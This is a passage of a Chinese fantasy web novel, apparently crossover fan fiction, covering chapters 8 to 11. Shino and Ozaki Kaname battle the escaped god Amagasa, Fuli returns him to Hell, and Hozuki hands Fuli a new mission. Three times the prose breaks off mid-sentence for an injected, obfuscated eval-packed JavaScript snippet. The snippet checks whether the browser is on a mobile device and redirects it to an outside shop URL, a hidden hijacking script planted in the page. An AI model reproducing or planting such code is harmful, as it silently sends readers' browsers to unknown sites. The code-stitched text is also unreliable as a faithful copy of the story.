从小时候起就一直偷偷溜到村后的森林偷玩儿,没人比信乃更了解森林,就算刚刚经历过一场大雨,有些动物躲了起来,但总有动物是喜雨的,比如青蛙,但现在就连蛙鸣声也消失得无影无踪。 动物往往对危险更加敏锐,两人猜测它们应该是察觉到危险所以才会离开这里。 但他们在山里走了这么久,什么危险都没遇到,这让两人放下的心又渐渐提了起来,怕是暴风雨前的宁静。 肩上的村雨被信乃放出去探路,到现在还没回来,不知道是不是野去了,信乃忍不住嘀咕了几句。 正腹诽这,一道低哑的叫声响起,伴随着振翅声,信乃猛然抬头,只见一只黑乌鸦一样的鸟正在半空打着旋,时不时叫两声:“信乃——信乃——” “可算回来了,再不回来我都以为你又跑没了。”说着,信乃抬起胳膊让村雨落下。 村雨收起翅膀抖了抖脑袋,“嘎嘎”叫了两声开始说话:“前面有结界,我带你们过去。” 听见结界两个字,信乃就有不好的记忆涌上来,下意识问了一句:“你不是又打破了吧?” 村雨生气地扬起翅膀,刮了他脑袋一下:“村雨才不会!之前只是不小心!再说就不带信乃去了。” 信乃额角抽了抽,忍下被刮脑袋之仇,憋气道:“好,你不是故意的。” 村雨这才满意地昂起头,飞起来在前面带路。 有个能在天上飞的就是便利,要是光靠他们在地上走不知道要找到什时候。 结界一定程度上扰乱了他们的视线,直到跟着村雨找到地方,才发现之前好像被屏蔽了感官一般,不知不觉就绕了过去。 但知道这里有结界,那就有办法了。 阻止了跃跃欲试的村雨,信乃看向尾崎要:“有办法在不破坏结界的情况下进去吗,目前不宜打草惊蛇。” 尾崎要点点头,随后他抬起手,莹蓝色的灵焰自背后升起,仿佛有思维一般,自成型那一刻起便争先恐后向前涌去。 它们扑在结界上周身灵光大亮,很快肉眼可见的,结界被融出一个可容一人通过的空缺,但结界却并没有碎裂。 信乃拍了拍手,夸道:“没想到你还有这一手,真是小瞧你了。” 尾崎要哼了一声:“你小瞧我的地方多了去了。行了,赶紧进去吧。” 说着便率先带着五只小狐狸从破开的洞钻了进去,信乃紧跟其后,待全部进去之后,融出来的洞又恢复原样。 一进入结界,他们便遇上了和扶黎当时一样的状况,结界外岁月静好,结界内狂风四起。 得利于扶黎的特殊能力,大部分结界对他毫无作用,一眼就知道里面什么状况。 信乃却是一进来便迎头暴击,急忙竖起衣领挡住脸,已经顾不上自己被吹得摇曳生姿的头发了。 “我去!”信乃暗暗骂了一声只觉倒霉透顶,等他知道是谁搞的这么一出后,非把对方砍了不可。 8. 第 8 章 经过一番手忙脚乱地找地方躲避狂风、整理衣服后,五狐终于成功设立起屏障,让几人避免了被风刮走的命运。 “真是便利啊,像这种时候村雨就一点用场都派不上。” 信乃羡慕地看着面前五只小狐狸,眼睛都要冒绿光了,恨不得薅一只过来。 村雨一翅膀扇在他脑袋上,嘎嘎乱叫:“这种水准只要一刀砍过去,什么都挡不住!才不是村雨没用!” 这已经是今天第二次被扇了,坏脾气的信乃连第三次都等不到,他抽了抽嘴角忽然抓住村雨的脖子像摇铃铛一样疯狂摇晃,愤怒大吼:“砍过去然后等罪魁祸首收到风声,好偷偷溜走是吗!” “嘎!杀鸟啦!杀鸟啦!”村雨的破锣嗓子喊得声嘶力竭,仿佛下一秒就会断掉。 五只小狐狸站在一旁看着这一人一宠之间的闹剧,只觉得耳膜都要被震破了,“物似主人形”这句话真是没说错,实在不敢相信村雨之前附身于其他人身上时也是这么聒噪,怎么看都是被信乃影响了。 这场闹剧最终结束于两人的各退一步,主要是其他几位在一旁强势围观,让信乃有点挂不住脸,一人五狐的眼神仿佛在说——就看你们还能闹多久,浪费多长时间? 若无其事的理了理乱糟糟的头发,信乃强自镇定地往前走:“行了行了,不闹了,要赶在太阳落山前回去的话,我们得抓紧时间。” 说的还挺像那么回事,尾崎要一脸似笑非笑,心想:兄弟俩真是除了脸都长得很好看外没有一点相似的地方,一个跟炮仗似的一点就炸,一个端方优雅半天没个表情,简直是两个极端。 ……………… 大概是两人的运气的确好,正赶上那个在外面躲了好多天的家伙偷偷摸摸回了次山上。 大概是在地狱呆久了有点头脑发昏,又或者还沉浸在那个自己曾经全盛的时期,他粗略地巡视过一遍山头,顺便恐吓了被抓来当做苦力的小妖,嘴脸猖狂又丑恶,已经完全看不出曾经是个神明的样子。 仿佛刚从河里捞出来的鱼,他身上永远湿哒哒带着水腥气,走过的地方也会留下一条湿漉漉的水迹,小妖们瑟瑟发抖,只能埋头苦干不敢抬头,生怕自己一不小心对上眼就被魔头杀害,他们是有苦说不出,反抗也反抗不了,之前反抗的都被解决了,现在只能寄希望于外面有人能进来救他们脱离苦海。 看着被自己强占的地盘,还有在修缮过后更显气势的神社,雨笠心中陡然生出万千豪情壮志,仿佛重回巅峰甚至超越曾经的画面已经近在眼前。 处于极度亢奋中的雨笠没有发现自己的地盘被人进过一次,甚至留下了标记,正在他地盘上溜达的他也没有发现,只觉得有一切都指日可待。 然而早在他的脚踩上这片土地的那一刻,信号便已经发了出去。 数里之外,骤雨初歇,阿福阿年在院子里打扫被雨水拍落的残枝败叶,顺便将不久前才开出来的小池塘捞了捞,捞出不少树叶和浮萍,然后撒了把鱼食下去,水里的胖头鱼们立刻浮上来争先恐后的抢食。 阿福嫌弃地撇撇嘴:“吃吃吃,就知道吃,好好的锦鲤一个个肥的跟吃了猪饲料一样,那还有观赏性,,当时买回来的时候可不这样!” 阿年:“你跟它们置什么气,说它们胖的是你,不停喂的也是你,就这么个一天六次的喂法,谁吃着不胖啊?” 就是健美冠军搁这种情况都得长出几斤肥肉。 阿福不服气的嘟着嘴,手里却心不对口地非得撒完抓的这把粮不可。 “行了,撒个粮怎么还跟挤牙膏似的,直接一把撒下去就好了啦。喂完鱼就赶紧和我去厨房把清洗食材,再耽误下去来不及晚饭了。” 阿福垮着张脸,使劲甩了把手:“哦。” 其实现在刚过正午距离傍晚还有很长一段时间,但谁让主人今天忽然想吃点重口的,点了猪大肠,中午没吃上就惦记着晚上这一口。 这里本来就没多少人吃猪下水,厨房里那副猪内脏还是他们特意去杀猪的人家蹲了半天,弄回来了,收拾也不是一件容易事,光是大肠就得洗上至少两小时,所以今天时间紧任务重,容不得半点磨蹭。 而他们的主人此时正惬意地卧在廊下,半阖着眼帘假寐,纤长的睫毛在眼下打出一片弯弯的月影。 光看这一副模样端的是朗月清风、出尘之人,决计不是那等能张口闭口便是猪大肠的。 但阿福阿年知道,若有必要,这张金尊玉贵的口中能吐出更多不符合他形象的话语,而这张脸只是限制了他的发挥。 似乎察觉到了两个小家伙在看他,扶黎闭着眼睛慢悠悠开口:“不要急,慢慢来,我先睡会儿,你们也别太忙了。” 话说得可真好,但这是在吃饱了的情况下,等到了晚上肚子重新空下来,却发现没有自己想吃的后,他也不会说你,只会用一双带着幽怨的眼睛默默看过来。 那时候你就会像是犯了什么大罪一样,坐立难安,恨不得立刻满足他的心愿。 为了不难为自己,阿福、阿年如今已经练就了一身干家务活加做饭打扫的超强能力。 敷衍的应了一声,阿福捧着盆跑去厨房,阿年在倒盐,白花花的盐巴装了一小碗,是清洗肥肠的必要材料。 然而外头的扶黎却也没能好好休息。 凉爽的清风和宜人湿润的空气,很快便让人酝酿出了睡意,眼皮一点点变重,思维开始迟缓,像是陷入了缓慢流动的水中,很舒服…… “叮铃叮铃”,恼人的铃声猝不及防将睡意打散,扶黎闭着眼睛缓了一会儿,感觉有点暴躁,正想吼一声是谁在晃铃铛,忽然感觉有哪里不对…… 半晌扶黎按着额头疼地爬起来,直想骂人,那野神什么时候回来不好,非得挑这个时间。 没错,昨天在山上设置的陷阱被触发,现在正在提醒他过去收网。 虽然很想就这么撂下不管,但好歹是自己接下的任务,所以哪怕再困也得把它完成。 满腹怨气地爬起身,扶黎以高度负责任的雇佣精神强迫自己出了门。 不过半个小时,便再次来到了昨天刚刚来过的地方。 但似乎已经有人捷足先登, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128066|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山上的气息极不稳定,像是几方的气都被搅在了一起,让人很不舒服。 扶黎压下心头的不解,脚下立刻加快速度,身旁景色随着急速后退,没过几秒钟隔着树林也能看见这次的任务目标了。 脚尖轻点,扶黎旋身躲在树后,看了一眼臭烘烘的野神雨笠,嫌弃地挪开视线,目光落在了另外两个搅进这次任务的陌生人。 其中一个金发金瞳,身边聚集这五只狐狸,有神通之力,大概是这边拥有特殊能力的人,另外一个看着不过十二三岁的模样,手持一把长刀,行动敏捷,那把刀上附着奇异的力量,只远看一眼便觉得气势逼人。 村雨号称能够斩杀神明,吞噬妖怪,强大的力量为众妖所畏惧,连神明都对他退避三舍,雨笠身为曾经的神明,加上级别不高,很自然就被压制住了,但又因为他现在不是纯粹的现世生灵,而是地狱亡者,导致两方有些像是二次元和三次元一样,之间有着维度的限制,双方都无法完全发挥力量,以至于一时间僵持不下。 信乃提着刀退到一旁,他皱着眉困惑地看了眼自己的刀,随即对尾崎要道:“感觉像是砍到了空气,但确实有遇到阻力,这到底是什么东西?” 五狐排成一排,摸着下巴严肃点评。 “身上没有活气,真是奇怪。” “莫不是死物。” “平生仅见。” “这要如何对付?” “去请僧人来超度吧。” 五狐大概是有点嘲讽天赋在身上的,一通评头论足后,成功将雨笠惹怒。 本来还犹豫不决要不要先逃走,再谋以后,这一下怒火攻心,立时强攻了上去。 尖利的指甲寒光烁烁,与长刀相撞时像是两块金属相撞发出刺耳的声音,他的力量极大,信乃毕竟个头小,不慎之下竟是连退数步。 野神一只手抵着刀身,另一只手迅速抓向信乃的脸部,信乃急忙撤刀回手格挡,对方就像发了疯,出手毫无章法,叫人应接不暇,幸好村雨的力量尚能起些作用,否则要逃就是他了。 见信乃分身乏术,尾崎要身后燃起蓝色灵火,直冲而去,雨笠躲闪不及被烧个正着,炽烈的灵火灼烧着身体令雨笠痛苦不堪,此时亡者的身份反而让他想死也死不成,宛若软刀子割肉,求生不得求死不能。 他痛苦地在地上翻滚,撞上树火便在树上烧起来,肆虐的火焰将周围烧成一片火海。 信乃开始毫无形象地吱哇乱叫:“啊啊啊,要!赶紧把这些火收回去,你是想要放火烧山吗?!我不想回去又被臭骂一顿!” “不是吧,怎么会这样?”尾崎要也是很崩溃,事情的发展显然出乎他的意料,狐火一旦烧上身,那就只有两种结果——要么厉害些能够抵抗灭掉狐火,要么几个呼吸间就烧没了。 但现在尾崎遇到了一个怪胎,说他厉害吧,他确实被烧着了,说他不厉害吧,烧这么久都没死简直闻所未闻。 对方的哀嚎声凄厉又尖锐,尾崎要起了一身鸡皮疙瘩,这不是他想要的结果,但现在的状况看起来就像是他在施展酷刑一般。 9. 第 9 章 五狐开始手忙脚乱地收火,一番操作下来好险没把这片地给烧没了。 剩下来被火烧成一团的敌人难以下手,就这么烧下去有违他们的良心,但不用火又肉眼可见的困不住对方。 也不是没想过用火把对方围起来,但保不准对方狠下心直接冲出去。 尾崎要只能对信乃提议:“趁现在你去把他的头砍下来怎么样?” 信乃震惊脸看过去,脱口而出:“你有病吧!要不我把刀给你,你自己去砍。” 说着就要把手里的村雨给递过去。 尾崎要连连推拒,很客气的样子:“村雨和你签订了契约,自然只有你才能发挥出它的力量,如果不想砍头,上去捅一刀也行。” 信乃斜眼:“我现在只想给你来一刀。” 但尾崎要说得有道理,趁他病要他命,错过这个村就没这个店了。 在信乃考虑着是不是真的上去来一刀,并为此做着心理准备时,眼尖的他忽然瞧见对面树后有个身影一闪而过。 他神色一变,不由握紧了刀柄。 那是一抹极为浅淡的蓝色,就像是雨后初晴万里无云的天空,在满目绿色之中冒出来异常扎眼。 尾崎要顺着他的视线看过去,但只看到了郁郁葱葱的树木,不由问道:“怎么了?” 信乃低声道:“树后有人。” “你看到了吗?”尾崎要眼神警惕:“难道是同伙?” 不等信乃回答,树后的人仿佛已经知道自己被发现了,于是不再躲藏在两人面前现身。 扶黎总算知道为什么鬼灯一直强调决不能让不同世界的生灵随意越界,原来是因为力量不兼容,很容易出现现在这种结果,双方对峙无从下手。 倒在地上的野神更是倒霉,虽然逃离了地狱,却又宛如身在地狱,焦热地狱的刑罚不过如此。 面对两人警惕的目光,扶黎有些不知该如何解释,又不好直接将人卷走,这样很不礼貌。 但万变不离其宗,态度友好是上策:“真是抱歉,打扰了三位之间的切磋,但事关我的任务,不得不插上一手。” 黑发紫瞳的青年说话很是温柔,看着并没有恶意,但信乃还是没有放下戒备,笑着捅刀子的大有人在,不到最后一刻谁也不知道对方是好是坏。 扶黎并不在意自己被警惕了,这本是人之常情,他一只手伸出去,在即将接触到倒在地上半死不活的雨笠前,忽然停顿了一下,眼中的嫌弃一闪而过。 转而拿出干净的帕子垫在手下,这才将手搭在了对方肩上。 不曾停息的蓝色狐火并未灼烧他靠近的手臂,在挨到野神的刹那,狐火好似遇到了对手,瞬间被压下去,最后消减于无。 获得喘息之机的野神像是滩涂上失了氧的鱼,大口喘息着,他不知道这个熄灭火焰的人是谁,但想来这个世界他是没有朋友的,仅剩的理智瞬息间便做好了决断,他拖着尚在隐隐作痛的躯体闪身……闪、闪、没闪动。 那张脏兮兮的脸惊恐地抬了起来,然后他看见一张非常美丽的面孔,只让人感觉上天在捏这张脸的时候一定花费了许多心思,近距离看之下更是让人目眩神迷,但现在这张脸只让雨笠感到深深的恐惧。 他已经无暇去看对方的样貌,只知道这个“好心”帮他灭火的人绝不是真正好心,此时的境况甚至有些该死的熟悉。 被关在地狱受刑时每每想要逃跑便总不能如愿,其中原因便是那些地狱的狱卒官吏,有几个狱卒长得很是好看,但她们的本事也和她们的脸一样出类拔萃,更是喜欢在别人看到希望之际将人踢落谷底,非常之“恶毒”,雨笠不知多少次都快逃出去了,又被她们“笑眯眯”抓回来,还美其名曰这也是惩罚的一环——心灵磨灭。 以至于现在雨笠看见长得好看的都会不由自主一哆嗦,可恨今日在这里还聚集了三位,尤以眼前为甚,真是和地狱那群死家伙一模一样! 他撑着一口气,努力维持自己平静的表情,虽然心下已经颤得像有十八头鹿在蹦跶,开口还是要稳得住:“你是谁?为何要拦住我?” 扶黎哼笑一声,像是听见了什么笑话一般:“我是谁你不知道,我是为什么而来,你也不知道吗?” 雨笠初时有些茫然,很快不知想到什么,他惊恐地瞪大了眼睛,像是不敢相信:“你、你是……真是阴魂不散!” 这话说的,扶黎有些不高兴,他还没嫌弃这些讨厌的亡者一天天想着越狱,害得地狱工作量暴增,连他这个编外成员都要加班,这人竟还敢骂他。 于是一下没控制住,手一使劲儿,只听“嘭”一声,野神面部朝下,狠狠摔了个狗吃屎,鼻梁差点没被砸塌。 扶黎拍了拍手,假模假样道:“真是不好意思,没砸疼吧,不过没关系,等回到你该回的地方,这样的只是小巫见大巫罢了。” 他在这儿跟出逃的亡者“叙旧”,那边的信乃却是再也等不住,脾气急的他干脆直接发问:“你到底是谁,是来干什么的?” 尾崎要在一旁拍他:“礼貌一点,你看看怎么又急起来了?” “走开,烦死了!”信乃像挥苍蝇一样挥开尾崎要,心里直犯嘀咕:都这时候了还讲什么礼貌,真是话多。 扶黎拎起地上黑乎乎的野神,像是在拎一块破布,虽然可以一走了之,但他向来不喜欢话不说完就走,自己也最是讨厌遇到这样的人,便挑着能说的遮掩着解释道:“这家伙原本是个被人供奉的小神,因为失去了信徒便开始四处作乱以求重回神位,我们本已将他控制关押,谁料旬日之前竟被他趁乱逃脱,这次只是奉命前来抓捕,还望两位行个方便。” 难得说这么官方的话,一长串说完扶黎感觉嘴巴都不利索了,只想赶紧把这倒霉玩意儿给扔回地狱去。 奈何对面两人尚且存疑,看着不像是肯轻易放他走的样子。 若是实在无法,扶黎也只得强行脱身,他并不想起正面冲突。 这样的说法让尾崎要案子生疑,准确来讲在这片土地上,最大的神学机构就是教会,教会如果自称第二就没人敢称第一,但现在忽然冒出来个自称在逮捕“神明”的组织,总让觉得心里不安。 尾崎要拦住想直接问的信乃,他脾气不好,话一出口指不定就会惹怒对方,还是先稳住为妙。 暗自斟酌了一番,尾崎要看向对面的青年,尽力让自己表现的不像是想对他刨根问底:“把他抓回去后,山下那个忽然返老还童的村民怎么办?” 扶黎笑了一声:“我知道你想问什么,但我只能告诉你,你大可以放心,我们有严格的规范限制,并不能主动在他人面前现身,若是遇上普通人少不得要混淆他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128067|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的记忆,至于更多的我不能再说,有一天或许你们能够知道但绝不是现在,而那个不幸被夺走寿命的村民,也会在不久恢复如常。” 讲完这些,扶黎不欲再多说,未免被过多纠缠他暗自施术,下一瞬身影便仿佛雾气般迅速消散,而人已经到达数里之外,平时他也不这么赶路,消耗太大了。 短距离还好,要是长距离非得累死不可,再加上现在还带了个累赘。 将手里的累赘扔到地上,扶黎四处看了看,忽的眼睛一亮,他径直往前走了几步,拨开一丛长势茂密的野草丛,一口废弃许久但尚有活水的水井顿时出现在眼前。 扶黎面上不由露出喜悦之色,忍不住嘟囔了一句:“还真能找着啊……” 来之前鬼灯给了他一张地图,上面标注了这个世界目前还能使用的地狱入口,为了不被不明情况的人类误入,这些入口都在荒山野岭,还做了一定的遮掩。 当时扶黎就很担心自己能不能找到,就算找到了万一离自己落脚地很远怎么办,年久失修不能用怎么办? 现在感受到的这一股虽然浅淡但毫无疑问的黄泉之气,扶黎终于放下心来——这个入口看着还能用。 转身重新拎起还在地上昏迷不醒的野神,扶黎纵身跃下水井,触水的那一刻就像是穿过了虚幻的结界,水面漾起一圈圈波纹迅速将两人吞没,然后重新归于平静。 穿过地狱入口的感觉非常奇妙,就像是来了一场不太刺激的蹦极,落地时轻飘飘的,感觉一级棒,跟篁说的那种猛的砸下来的感觉完全不一样。 落地地点也非常巧合的在阎魔殿大门口,甚至不用多走一步路。 他拎着手上的“东西”就进去了,也是赶巧,鬼灯正好在大殿中处理文书,扶黎毫无怜惜之意地将人扔过去,“噗通”一声闷响,对方被砸得短暂清醒了一瞬,又支撑不过痛意再次晕过去,看样子可能第二天都缓不过来。 鬼灯动作一顿,他看一眼落在自己案前被捆成一长条的不明物体,又看了一眼扶黎,然后从书案后绕了出来,蹲下身将这不明物体翻了个面。 虽然对方蓬头垢面,鬼灯依靠特殊的辨认技巧依旧将人认了出来,顿时颇为欣慰的样子,赞许道:“本以为要花上些时间才能重新把人抓回来,没想到才一周事情就解决了,你效率果然很高。” 逃出地狱的亡者大多都有些真本事,当然没有真本事也逃不出去,被这样的人逃出去别说是抓回来就是先找到他的藏身之处都要费一番力气,因此鬼灯早就做好了打长期战役的准备。 之前他还大发了场脾气,严令狱卒之后绝不可懈怠,弱叒再出现和这次一样的情况,就不只是罚他们一周工资这么简单了。 狱卒们被吓得纷纷绷紧了皮,个个眼珠子瞪的贼大打起十二分精神,力求一只苍蝇都不能从他们眼皮子底下飞走。 而现在这两个被唤来押人的狱卒猛一瞧清地上的条状物,立刻就被唤醒了失去工资的痛苦,于是越想越来气,干脆抓着对方两只脚给拖走,一路“哐当哐当”狂撞不止,不只是路过的桌子,就是离了十万八千里的大殿内的柱子他们都要绕过去让人撞两下,公报私仇在这一路的烟尘滚滚里表现得淋漓尽致。 鬼灯对此适应良好,可见是“上梁不正下梁歪”,唯有扶黎没见过世面的样子,尚在适应中。 10. 第 10 章 一桩心事终于了结,鬼灯稍稍放下心来,不忘将早已准备好的酬劳交给扶黎。 除了任务之初说好的钱,还搭上了一枚戒指,白银做戒托,其上嵌红色宝石,整体做成了枫叶的造型,宝石虽然不大,但颜色很是浓郁饱满,微微晃动间,仿佛有火光在其中流动一般,煞是好看。 扶黎见之欣喜,很想收下,却又迟疑地看向鬼灯:“这……” 东西虽好,但送戒指是不是有些奇怪,若不是知道鬼灯和自己好友是恩爱的一对儿,他都要怀疑对方送这东西的目的了。 鬼灯一看他神色顿时了然,忙解释:“这戒指是夜归送的,他知道你不缺那点钱,过来帮忙也是看在他的面子上,因此心中过意不去,才亲手做了这戒指聊表谢意,你也知道他平时爱做些手工,和你一样爱这些零碎的小玩意儿,手艺也着实不错。” “这岂止是不错。”扶黎已经把戒指戴到了尾指上,地狱没有阳光,他便对着灯看,越看越是觉得技艺精湛,设计也很不错,不由夸道:“都是能开店的水准了。” 只是夜归也太客气,不过是个小忙他就这样放不下心来,还特意准备礼物回报。 要他说本来就是钱货两讫的事情,他答应了就会办到,又不是不给钱纯帮忙,不过扶黎也明白夜归这么做是他不喜欢欠别人的,倒也能理解。 收下了戒指,扶黎就要告辞,家里还有两个小家伙在等着,若是到了晚饭时间还不回去,可会被抱怨上一阵,辛辛苦苦清洗了半天才弄上的饭结果却没人吃,是个人都会不高兴。 鬼灯却是拦了他一下,看着还有话要说,扶黎停住脚步回身看他:“怎么了,还有事?” 鬼灯点点头:“本来不想再麻烦你,但这边实在抽不出人手,而且一事不劳二主,有件事还是想拜托你处理一下。” “哦?”扶黎听出鬼灯的言下之意,转过身去:“和那个叫雨笠的野神有关,还是和那个小世界有关?” 鬼灯回到桌案前拉开抽屉在里面翻找了一番,很快找出一个黑色封皮的本子递给扶黎:“是和小世界有关的事情。” 扶黎不明所以地接过本子,在鬼灯的眼神示意下翻开查看,里面不过记录了三四页,扶黎一目十行,很快便看完了,他合上封面总结了一下大体内容:“也就是说,你们发现在那个世界里有一个原住民,对方偶然间发现了通往地狱的入口,便大胆地混了进来,因此在这里获得了黄泉之水,并试图使人死而复生?” “不错。” 扶黎困惑地搓了搓眉尾:“先不提她是怎么混进地狱还不被人发现的,这地狱还有能让人死而复生的东西?” 在全是鬼物的地方,何德何能有让人死而复生的东西,便生死簿都也做不到。 鬼灯听完他说的话顿时笑了,笑容里带着点轻蔑,平时少见他露出这样的表情,扶黎有点些诧异。 “人死不能复生,就算有这样的宝物也应该在天国,因此靠她拿走的东西就算想复生,最后弄出来的恐怕也是个怪物,不会如她的愿。” 扶黎挑眉:“既然如此放她去做便是了,最后也是自食恶果,何必再去多此一举。” 鬼灯摇摇头:“事情没那么简单,如果只是在小世界内寻求复生之法,那自有同个世界的人去应对,一切也都在法理之中,但现在因为地狱的疏忽致使平衡被打破,我们要负责将黄泉之气拿回来。” “黄泉之气非活人所能触碰,普通人便是吸入一点都会立刻离魂,时间久了便回不去身体,只能眼睁睁看着自己的肉身死亡,这样危险的东西绝不能流落在地狱之外。” 听完鬼灯说的这番话,扶黎倒是弄明白了他为什么非要去办这件事,但还有一点扶黎得问个清楚:“黄泉之气到底是什么?” 鬼灯也不隐瞒,实际上也没什么好隐瞒的:“你应该知道,只是平时不叫这个名字罢了。” 扶黎不明所以,努力回想:“有吗?我到这里后,好像没看见过什么比较特别的东西啊……” 除了许多长相奇奇怪怪的地狱居民,这里就和人类社会一样,也要干活吃饭,出门靠车吃饭要钱,活得比人还像人。 鬼灯:“你去过伊邪那美女神的宫殿吧?” 扶黎露出回忆的表情:“是那个有很多猫猫头在柱子上,猫头还一直发出奇怪叫声,看一眼就让人觉得神经受损的宫殿吗?” 鬼灯对扶黎话中辛辣的评语置若罔闻,甚至一派自如的模样,毕竟创意是茄子出的,他只是进行了适当的改造而已,因此辅佐官认为自己对现状最多只能付一小半责任,完全忘记了如果他不同意,这样污染精神的设计根本不会有落地的可能。 “就是那里。”有意无意忽略了那段评价,鬼灯接上之前的话题,给夜归解惑:“伊邪那美身为黄泉污秽之女神,她所在的地方会被自身散发的神力慢慢侵染,久而久之因为神力过于充沛,就连空气都会产生变化,这就是黄泉之气的由来。” “原本地狱的空气都能被称为黄泉之气,但随着伊邪那美女神来到黄泉后,为了做区分,现在黄泉之气已经专指那些被神力同化后凝结成水的空气……” “等等!黄泉之气是液体?”扶黎怀疑自己耳朵出了问题,不然怎么会听到这么匪夷所思的事。 然后他看到黑发鬼神肯定地点了点头。 扶黎:“那个……既然是水为什么还叫黄泉之气,叫黄泉之水不行吗?” 鬼灯对此有自己的理由:“这里所有水都叫黄泉之水或者地狱之水,叫这个就重名了。” 扶黎:…………叫黄泉之气就不重名了吗,地狱的空气不配有自己的名字? 行吧,名字的事情也不重要反正不关他事,但这番话却透露出了一条信息,扶黎抓住重点:“对方怎么知道黄泉之气是水呢,又怎么知道它能‘起死回生’?” “只要知道有这样东西的存在就行,在地狱这并不是秘密,大部分居民都认识黄泉之气,甚至因为它对我们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128068|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么作用,所以也没有保密的意识,随口都能说出去,‘起死回生’大概是对方偷到后试出来的。” 扶黎点点头:“打听这些需要时间,对方一定在地狱潜伏了许久,不然没办法悄无声息将东西弄走还实验了一番才被发现,而且不排除她之后再来的可能性。” 鬼灯提到这一点,表示已经提前做好了安排:“地狱已经拿到了她的画像,未免打草惊蛇,目前只告知了狱卒和鸦天狗警察,他们会暗中盯梢,一旦发现立刻拿下。” 就怕她已经拿到自己想要的东西,不会再冒险返回,他们在地狱布置这些也是无用功。 扶黎明白自己是另一道防线,思考一番后说道:“之后把画像也给我一份,两头下手,我会在小世界继续探查,如果发现了对方……” “不必留手。”黑发鬼神忽而脸色一寒,语气冰冷道:“此次生死不论,或者说死了反而更方便,地狱在此等候着对她的审判。” 语气之坚决,仿佛要将对方立刻投入十八层地狱。 扶黎“啧啧”两声,真是个不好对付的家伙,这要是落到他手里,轻轻几下就会被磨掉几层皮。 大概是深恨竟有人能从自己眼皮子地下薅走地狱的羊毛,薅走也就算了还在外头兴风作浪,搞得地狱焦头烂额,自己的履历上平添一项黑历史,所以鬼灯打印了不少画像,现在抽屉里就有一大叠,都用档案袋装着,档案袋正面还画了个大大的叉号。 扶黎接过画像翻到正面一看,顿时忍不住“嚯”了一声,下一秒便看向鬼灯:“辅佐官真是铁面无私,面对如此美貌也能说出那般冷漠无情的话,果然在其位,谋其职,负其责,没有这样的心性便担不了如此重要的职位呢。” 画上赫然是一位非常美丽的女子,金发碧眼,容貌端庄又优雅,却又杂糅着一股说不出来的妖冶美艳,单看这幅画这是个矛盾的人但又非常有吸引力,无意识地便会让人产生好感,这是好看的容貌所带来的特权。 看完画像扶黎一抬头,却见鬼灯正奇怪地盯着他,扶黎摸摸脸,不知道他在看什么:“怎、怎么了吗?” 鬼灯摇摇头:“只是觉得你方才说的话有些太低估我的爱人和您自己了。” 扶黎:“???”已经浑然忘了自己刚才说过什么,开玩笑的话么,谁能都记得住。 鬼灯试图为地狱正名,他一本正经道:“地狱并不缺美女,众合地狱更是处处美人,地狱大夫出行万人空巷,还有祸乱一国倾国倾城的九尾狐妲己坐镇花街,我的爱人也是少有的好相貌,您自己的样貌也不比画上之人逊色,在这里所有狱卒对美貌的抵抗力都已大大提升,我相信大部分狱卒对此都不会动容,请不要怀疑我们的职业操守。” 扶黎:虽然被夸奖了但不知道为何一点也不开心。 耸耸肩放弃了和鬼灯争辩,他将画像叠好塞进口袋,转身朝殿外走去,头也不回地冲辅佐官摆摆手,留下的话渐渐远去:“先走了,代我向夜归问好。” 11. 第 11 章 晚间的山村再次下起了下雨,小院的青石板地面变得湿漉漉,雨滴像断了线的珠子从房檐坠落,院子一角的小厨房正灯火通明,屋顶的烟囱冒着烟,带出些许烟火气息。 这已经是他们搬的第三次家了,为了方便进城,扶黎把屋子搬到了离帝都更近的另一座村落,也幸好当时跟村里人没太多交集,否则这么突然消失村中少不得再多个鬼故事。 扶黎冒雨赶回,走的时候看着天快晴,回来的时候又阴了下来,真是变化无常、反复莫测的天气状况。 在走廊蹬掉湿了的鞋换上柔软的拖鞋,扶黎第一时间前去厨房探看情况。 最后一盘菜成功收尾,阿年手脚麻利地铲到盘子里,准备端到桌子上,一回头门边忽然探出个脑袋。 “嗬!”阿年倒吸一口凉气,迅速后退两步差点没摔倒,好悬阿福在身后搭了把手,一盘菜差点废掉。 用力一放手上的餐盘,阿年气鼓鼓地瞪过去:“回来怎么不出声?吓死我了,菜要是摔了我真的会生气!” 花了一下午才洗干净食材,煮出来也才一碗,摔到地上的话就算捡起来洗干净也要对方吃下去才能解心头之痛! “冤枉啊,明明我也才刚到,只是想来看看晚饭准备的怎么样了,可不是故意吓你的。”扶黎坚决不担这个罪名,要是阿年为此几天不给他做饭那可就糟了,过惯了衣来伸手饭来张口,可就回不了自己动手丰衣足食的日子了。 